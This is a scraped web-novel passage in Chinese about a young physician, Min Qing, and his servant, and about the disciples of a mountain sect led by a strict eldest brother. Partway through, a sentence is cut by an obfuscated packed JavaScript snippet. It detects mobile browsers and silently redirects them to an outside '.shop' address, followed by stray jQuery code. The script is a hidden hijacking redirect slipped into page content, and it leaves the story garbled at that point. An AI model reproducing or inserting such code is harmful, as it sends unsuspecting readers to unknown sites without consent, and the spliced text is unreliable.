暮色微沉,室内没燃烛火一片昏暗。
闵清从柜子里翻出消肿的药膏扔给十三,十三接过先去烧了盆碳火,才处理自己的伤。
闵清抱臂倚着门框,瞧着夜色发呆。他幼时离家,身边跟着的只有十三一个,他们说是主仆却似兄弟,这番是他牵连十三了!
还记得刚出谷时,二人衣衫单薄,被秋风吹的直打哆嗦,十三想折回去收拾几件衣物银钱,闵清因在与师傅生气,不肯折了脸面。
“闵郎,咱们没带银钱,能去哪儿啊?”
闵清回头,将十三茫然凄慌的表情望进眼里,却不以为意。
“天下这么大,哪里去不得。”
他那时想,不就是银钱嘛,好弄。
挖药卖钱,支摊看病,好歹他有医术在身,倒也不至于活不下去,甚至有一次他们还撒迷药劫了个不义的商人。
两人一路有惊无险,辗转来到两广境内。这里屋舍便宜,他们租了个小院,想着开个医馆,结果医馆还没开起来,就因闵清容貌太盛先被人惦记上了。
那姓胡的好男风,偶见闵清心痒得不行,费尽心思将人骗去了家中。
“闵郎,要不咱们回去吧?”
十三觉得这次让郎君受了这么大委屈,被一个男人看上要养在家里做娈,委实是心惊后怕。若是没能逃出来,他不止没法回去跟家主交待,自个更是心里有愧。
“回去?和她低头吗?”闵清神色黯然。
十三心塞。
闵郎,你会错意了……
“闵郎离家也有快八九年了,要不咱们回去看看吧?”
“不回。”
这次闵清倒是痛快,十三心塞的更厉害了。
闵清是在七八岁时到的药师谷,十三比闵清只略年长三几岁,因功夫好又年纪小,对府里的事知道不多,于是被家主指派给了闵清。
那时十三觉得自个用不了多久就能回家,这个小主子瘦弱苍白,怎么看都是活不长的光景。
哪知廖谷主医术精湛,妙手回春愣是把小主子拉了回来。也不知廖谷主和家主是怎么商量的,总之闵郎从此就留在药师谷长期调养。
一年两年,闵清索性拜了廖谷主为师,家里人也不说反对,也不说来接回他。
十三对于不能回家也不敢有怨言,毕竟家主当初就说了,他只要把闵郎照顾好,家主便把他一家老小照顾好。
本以为要在药师谷呆一辈子,哪知又师徒关系破裂,闵郎愤然离谷……
这样的日子可怎么过啊!
十三心里越发焦虑。
********(我是可爱的分割线)
“师兄,师兄,要不要把小师姐叫醒?”小七很担忧,只有他们几个,万一遇到师傅师娘可不好办!
更可怕的是,遇到大师兄咋办!连个耍赖求情的人也没有!
余漠琢磨着也是,扭头瞅瞅肩膀上那颗毛茸茸的脑袋。今天八成累着了,小丫头这会儿睡得忒实。
咬咬牙,余漠压低声音。“没事,有我兜着一样,横竖没你们的事。”
小七小八安心了,悄无声息地跟在二师兄身后。
只要过了大厅就能放心了,望望前面黑鸦鸦的房子,都觉得兴许能逃过这一劫。
突然前面打头的小八猛地停下,小七停不及时,一头撞到前面的小八。
“你怎么回事,话也不说一句就停下,撞死我了。”
“怎么不走了?”余漠发问。
“我突然腿疼像被打了下,走不动了!”小八刻意压低的声音,在漆黑夜里显得鬼气森森。
队尾的余漠不由抿了抿唇,从后面走过来,踢了前面的小八一脚。小八抱着一条腿原地蹦了几下,没敢吱声。
“是弟子疏忽没看住他们,弟子领罚。”余漠向来聪明,知道该低头时要低头。
黑暗中传来声轻哼,却是个娇媚的女声。
几人不由松了口气,还好是师娘!
黑暗中走出来一个身量苗条,头裹包巾的女人。女人看了看余漠背上裹着件男子棉袍的闺女,忍不住剜了一眼余漠。
“你倒是疼她,天这么冷,看明天有你好受的!以后跟你大师兄学学,手段严着点,省得纵着她犯错。”
“师娘,您别光疼二师兄啊,也疼疼我们。”小七腆着脸撒娇。
女人笑呵呵啐他们一口。
“还怎么疼你们?要不是我,守在这儿的可就是先儿了。一群不省心的,又在外面折腾什么事了?你们皮都绷紧点,今晚饶了你们,明天有人找你们算帐。”
一句话让几个人都僵了脸。
师娘也学坏了,拿大师兄吓唬他们,呜呜呜……
瑶山是一个很有意思的地方,最有趣之处是一众弟子惧大师兄更胜过师傅!
华师傅收徒收得颇为随意,他的一众弟子从二十几岁到六岁,哪个年纪的都有。
大弟子唐先是华师傅未成亲时便抱来的,据说唐先父母死于战乱,华师傅在一堆尸体旁捡到了才三岁的唐先,从此开始了又当爹又当娘的生活。
唐先长到七岁时华师傅才有的红鸟,于是唐先也跟着过上了照顾奶娃的生活。
后来华师傅又陆续收了几个徒弟,华夫人心软护犊,华师傅又惧内,渐渐变成教功夫行,宠孩子可以,但徒弟在外闯了祸打了架,只要伤的不是自个人,便舍不得去罚。
尤其是红鸟,更是被溺爱到了极点。华师傅深觉这样不好,可他怕媳妇不敢管,于是华师傅把唐先推了出去,让他去唱这黑脸。
唐先不负所望,武能压人,理能服人,主要是能劝得了瑶山一手遮天的女主子!
华师傅从此心安理得的当起了甩手掌柜,几个徒弟包括自个那个无法无天的闺女都扔给了大徒弟。
到后来索性连教功夫都省了,以至于后来收的徒弟都是由唐先授艺,于是就有了今日这样的局面。
第二日,几个小鬼到底是挨了罚,做为带头的红鸟更是逃不了,不过罚他们俩是挑水砍柴,罚红鸟却是闷在屋子里抄书。
受不住闷的红鸟天天在屋子里跳脚发脾气,日日巴着手指数日子。
山上的冬日尤为冷,然而最冷的日子红鸟在温暖的屋子里抄书。
大师兄分明是偏心师姐,可小七小八敢怒不敢言。
最冷的日子一过便要新年了。
新年里收红包是大家最开心的事。
红鸟每晚睡前都要摸摸她收到的大红包,明知此时山下的小城里并不热闹,却仍盼着哪日去山下挥霍一番。
几个师弟和她一般的心思,几个人全力撺掇二师兄同他们一起去逍遥一日,余漠是个经不住撺掇的,没几下就愿欣然同往。
待到了约好的日子,几人惊讶的发现等着他们的不止有二师兄,还有大师兄!
大师兄目光在他们身上扫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17819238|211117||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
过,没有说话。
红鸟硬着头皮上前套近乎。“大师兄好早啊,呵呵呵……”
“是早,不然还真是错过你们了。”
大师兄说着转身便走“别愣着了,走吧。”
大师兄陪他们下山玩乐?好吓人!这还怎么玩!
几人都在心里叹气,可他们不敢表现出来,只能跟在唐先身后,一路上各种挤眉弄眼,传递暗号。
这个时候开张的酒馆仅有一家,刚一进门,红鸟兴奋得拍拍身边的小八。
“快看,是那个人。”
她手指着靠窗户的桌子,那边坐着两个人,其中一个就是他们年前救的少年。
少年郎正面向他们的方向,他们一群人呼啦啦进来闹出很大声响,少年看了两眼又低头沉默地喝酒。
与他同坐的另一个少年显然已经醉了,背对着他们趴在桌子上。
小八没有红鸟这般看到熟人的热情劲,靠近她耳边悄声提醒。“别打招呼,咱们那天带着面具,他不认识咱们。”
言下之意,你的热情面对的是人家的冷屁股。
红鸟低低地哦了声,有些失落。
“怎么?认识?”大师兄也去看那两个少年。
不等红鸟说话,几个人早将头摇成了拨浪鼓。
开玩笑,大师兄一副看那两人不爽的表情,谁敢说认识。
可惜红鸟是个实在人,还没学会查颜观色,直接就卖了她的师弟们。
“就是因为救了那人才晚回的家,年前你罚我们那次。”
“两个浪荡公子,不值得救。”大师兄嗤了声。
红鸟:……
小七:……
小八:大师兄说得对!
********(我是可爱的分割线)
山下的杏花开得旺盛,密密咂咂像片白色花海,前两日刚下过雨,杏林中随处可见飘满落花的小水洼。
经雨水洗过的花越发的娇嫩,白中透着点隐约的粉意。
红鸟攀在一颗树上,把玩着新从集市上买来的小桃木剑,听那商人说桃木有可以辟邪的神奇效果。
桃木削成的小剑比手掌略长,长长的剑身扁平光滑。她试着往发间插了插,似乎正好做发簪来用哎。
红鸟笑咪咪地晃晃头,可惜就这么一个。不过东西总是少了才显得珍贵,正好可以送给阿爹,桃木的发簪正好衬得阿爹仙风道骨。
“你们为何一直跟着我?”
咦?
红鸟探头去望。
她攀的这棵树离大路大概有十几米远,枝枝丫丫挡着看不清。红鸟闲着没事又好奇心旺盛,轻点脚尖跃上另一棵树,悄无声息的慢慢靠过去。
“自然是来请小郎君去府里坐坐。”
一个三十多岁管家打扮的男人站在一群孔武有力的壮丁身前,看似有礼却蛮横倨傲,红鸟咂舌,这请人的架势可比她横多了!
中年男人口中的小郎君,从背影瞧去是一个弱冠少年。红鸟所在的位置在他后侧方,将将能看到少年耳廓那一线玉白肌肤。
红鸟忍不住去摸摸自己的耳朵,一个男人怎地看起来皮肤这么好!
少年穿着天青色的长袍,极趁春色,只是背影略显清淡冷漠,连声音都是冷冽。“不去,他的眼我治不好。”
他说完便转过身来。
红鸟扶着根花枝偷看的正带劲,不期然眸中撞进一张美到浓艳的脸。